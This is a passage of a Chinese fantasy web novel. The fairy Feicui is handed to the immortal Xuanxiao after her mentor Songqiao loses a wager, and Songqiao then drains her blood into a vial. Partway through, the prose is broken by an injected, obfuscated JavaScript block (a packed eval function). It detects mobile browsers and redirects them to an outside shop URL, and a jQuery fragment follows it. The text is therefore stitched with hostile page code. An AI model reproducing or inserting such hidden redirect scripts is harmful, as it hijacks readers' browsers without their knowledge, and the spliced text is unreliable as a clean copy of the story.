这……
这该死的乔先生也跟她身后那许多没有见过世面的仙长们一样,也在那里懒洋洋的、还带着几分嘲笑的、十分深情地凝视着她……
——我去!
翡翠冷静了下来,只见嵩乔向她扬了扬下巴,示意她继续往前。
她继续往前走去。
突然!
她又看见了一个熟悉的面孔!
其实也不算太熟悉,可是留给她的印象却十分深刻!
那是个把月前,她与青铜神不知鬼不觉地摸进玄圃结界……
那个曾经给她们指过路的、提醒她们前面就是雷寺的白胡子仙官笑咪咪地坐在上首主位,案头摆着的名牌上赫然写着两个大字:
陆吾。
翡翠颤抖着只见陆吾意味深长地微笑着往旁边一伸手,示意她在未交接之前,玄嚣为客,礼当占先。
“玄嚣上仙纯粹皓白,平虚下流。”
“陆吾神君静漠恬澹……和愉虚无。”
“果然是个素朴的好孩子,将来必能体物达道,”陆吾笑看着她,还是十分意味深长地一伸手:“玄嚣上仙应该有话要和你说。”
她重新来到玄嚣座前。
修习无情道的年轻上仙这时候已经知道,曾经横亘过他那片无瑕碧空的两朵浮云……之一,从此将会怎样显化在他的仙涯之中了。
“翡翠小仙仙质纯白,以后跟着我可好?”
翡翠不明白什么叫“以后跟着……他”?
她疑惑地看了看玄嚣,总觉得这张脸孔也似曾相识,但又着急在记忆的海洋中打捞不出来,扭头再看向嵩乔,只见嵩乔向她微微点了点头。
“好,”她于是道。
“不好!”
“不好!”
事后她免不得要跟嵩乔大闹一场。
“我要跟你们一起回去,一起回家去!”她看着同窗们都在开始打点行装,更加急了:“我也要回家!我也要回家!”
“回家干什么?”
翡翠简直被这个生来无情的天仙给气笑了。
——回家就是回家!
上学、闲游、养小雪……那不都是事么?
就算什么事都没有……
“其实是这样的……”嵩乔欲言又止。
“怎么了?”
嵩乔不说话。
翡翠便急了:“到底怎么了?”
嵩乔摘下腰间酒囊开始猛猛灌酒。
自从翡翠今年酿就的酒不合他的口味,嵩乔已经戒酒多时,如今突然又开始暴饮,而且还不正面回答翡翠的问题,显得其中必有隐情。
“到底怎么了嘛?”
“是我对不住你,”嵩乔十分郁闷,又灌了一口酒。
“到底怎么回事嘛?”
“我……”
“嗯?”
“唉!”
嵩乔到底还是没有说,仰头又想灌酒,被翡翠一把握住了酒囊口。
“说,好好说!”
“我跟玄嚣神君玩沙盘赌……”
翡翠一听这架势就不妙呵:“然后呢?”
“……输了。”
“……输多少?”
“……还不起。”
“那……天界不是不许赌博的么!?”
“所以玄嚣神君也并不坚持我必须要还,”嵩乔道:“他远来履新,身边不曾带得仙侍,就想从我领的这一批小仙女中挑一个,我想你之前不是说过,你的情郎会发七宝琉璃光……那不妥妥的……就是他嘛……所以……”
翡翠十分无语。
“我……做错了么?”嵩乔喃喃道:“而且这还是一份……正经仙职……有编制的……”
翡翠还想再问细一点,嵩乔哐几往后一倒,她条件反射地一把抓住他的领口将他提溜回来,把他在榻上十分熟练地摊平。
嵩乔在榻上呼呼睡去。
翡翠咽下了许多她还没来得及问出口的问题,诸如:
时间呢?
这份正经仙职的时间长短呢?
她的学业怎么办?
还有她的小雪怎么办……等等等等。
翡翠闭了嘴,把这些问题都囫囵吞下肚去,算是稀里糊涂地接受了被呼呼睡去的嵩乔输给了玄嚣的……命运。
翡翠接受了命运,第二天便与问道馆的同窗们殷殷道别。
由于嵩乔别有任命,这些同窗将由仪常寺的仙官护送回山。
蓼蓝临行前十分欣慰地将翡翠抱了又抱。
她得不到的上仙,如今由翡翠得到了。
她实现不了的憧憬,如今也换成翡翠去实现了。
“你放心,”她在翡翠耳边私语道:“无论你最终选择哪个,我都是支持的!”
而另一位好朋友青铜也于临别前在她耳边表达了类似的意思。
“你放心,”她十分笃定地说:“我会回来陪你的。”
看起来她被嵩乔输给玄嚣这种极其丢脸的事……
哪怕嵩乔不说……
她自己也不说……
这世上从来就没有不透风的墙,大家还是都知道了。
翡翠苦笑着与两位好朋友告别,然后又与其他新交的朋友们告别,告别了?渊、昆冈、槐江山,又告别了崇吾山与蟠冢山,一顿繁琐的告别之后,最后就被嵩乔带走直接送往平虚宫,去迎接她自己的命运。
平虚宫正值新旧转换期,诸事正忙,大殿外一堆仙官捧着文书典册正列队等候新任主神玄嚣神君的接见。
嵩乔带着她却只是排闼直入。
玄嚣连忙屏人相见。
“星君这就要去了么?”
嵩乔只是沉着脸把翡翠向前推去。
他推的力道有点重,翡翠立脚不住,一头撞向玄嚣怀中。
玄嚣忙双手托住了放稳。
“星君放心,我自会照顾好她。”
“那我这就交给神君了——翡翠,神君初到我们昆仑境,身边也没有什么贴心得用的,你一定要好好侍候,日日记得给神君端茶倒水。”
“那断断不至于!翡翠是个医仙,就算我收在身边,日常也是要去天医馆任职的,在我这里……无非也就是偶尔看个脉而已。”
翡翠有个不祥的直感,仿佛这两位结下了恩仇的赌友下一步就要白刃相见、大打出手。
她忙上前挽住嵩乔的手臂。
“乔先生,我送你出去。”
翡翠将嵩乔半拖出去,一直出了平虚宫,还觉得他余怒未息。
“算了,”她息事宁人道:“既然已经赌输了……”
嵩乔哼了一声。
“下次可千万不要再赌了!”翡翠也纳闷嵩乔刚刚才戒了酒,什么时候这又开始赌博了呢:“万一再赌输了,人家……人家不缺仙侍了呢?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17592709|203400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>嵩乔不作声。
“听到了嘛?”
“听到了,”他不甘不愿地道:“手。”
——手?
翡翠没想嵩乔抠抠搜搜五百年,近来赌输了居然如此性情大变,不止送了她那么大一枚法华,如今竟还要送她法器了!
“没关系的,”她安慰他道:“只要今后……”
“手!”嵩乔怒道。
翡翠连忙伸出手去。
嵩乔手起刀落,一刀斩在她手腕的大动脉上。
——这是什么相爱相杀的痴情绝恋!
路过的仙官们一时都看傻了眼,只见一个敢砍,一个敢挨砍。
挨砍的那个坚强不屈,纹丝不动,眼睁睁看着一股血箭喷涌,划出鲜红的弧线,一滴不落地被收进嵩乔手持的瓷瓶里。
——这得多大的法器才需要这么多的血来认主呵?
翡翠震惊地想着,只见嵩乔还嫌她的血流得不够,握着她的手腕挤了又挤,终于挤了满满一瓶,这才满意地放开了她。
“找你情郎哥哥去罢,”他头也不回地飞腾而去。
——怪不得玄嚣神君要扣了这小小仙女以用作嵩乔的仙质!
敢情天仙虽则无情,动起情来竟这等惊天地、泣鬼神。
别家小情侣临别时候也不过是剪一绺头发,他这干脆直接揣上满满一罐子热乎乎的情人血!
翡翠又被来来往往的仙官们对她的深情凝视惊吓住了,她想多少解释两句,可是往来仙官并不给她这样的机会。
他们一个个捧着卷册文书,视若无睹地纷纷走干净了。
翡翠从百宝囊里找出绷带伤药,默默地给自己包扎齐整后重新回到刚才的那间正殿,只见那一溜仙官捧着文牍还在排队听候召唤。
之前被屏开的那位仙官又被召回来,正在跟玄嚣进行着激烈的对话。
“陆吾神君以为……”
“陆吾神君的时代已经彻底结束了!”
翡翠觉得这两位仙上也有随时白刃相向打起来的可能。
这一回她拖不走其中的任何一位,只得自己赶忙走了。
她东走走,西走走。
先在平虚宫内走。
后来又走出宫外。
最后终于明白了偌大一个仙府,为什么竟没有一位仙官肯搭理她。
可能是新旧交接的不太顺利,差不多所有的地方都在吵架。
平虚宫在吵。
玉台与脉府也在吵。
雷寺在吵。
镇阴寺还在吵。
她走来走去,在虚空中偶尔听见充满了硝石火药味道的一言半语:
“时间不多了……”
“脉气……九垠……”
“……祖龙……”
“五残……”
甚至有好几次她还听见了嵩乔的名字!
她渐渐有些惶惑起来。
甚至在玄圃结界之外,那个瑰伟奇丽的世界也跟她记忆中的很是不同了。
从她如今所在的这个角度看去:
可能是太遥远了,澄碧湖只剩下一派波光苍茫。
至于樊桐峰底的倾宫,那真就变成了一只小而又小的银灰色的水鸟,点着湖面振翅欲飞。
——真象是轰轰烈烈的美梦一场。
这美梦中还有一个能放七宝琉璃光的上仙在唤她。
“翡翠。”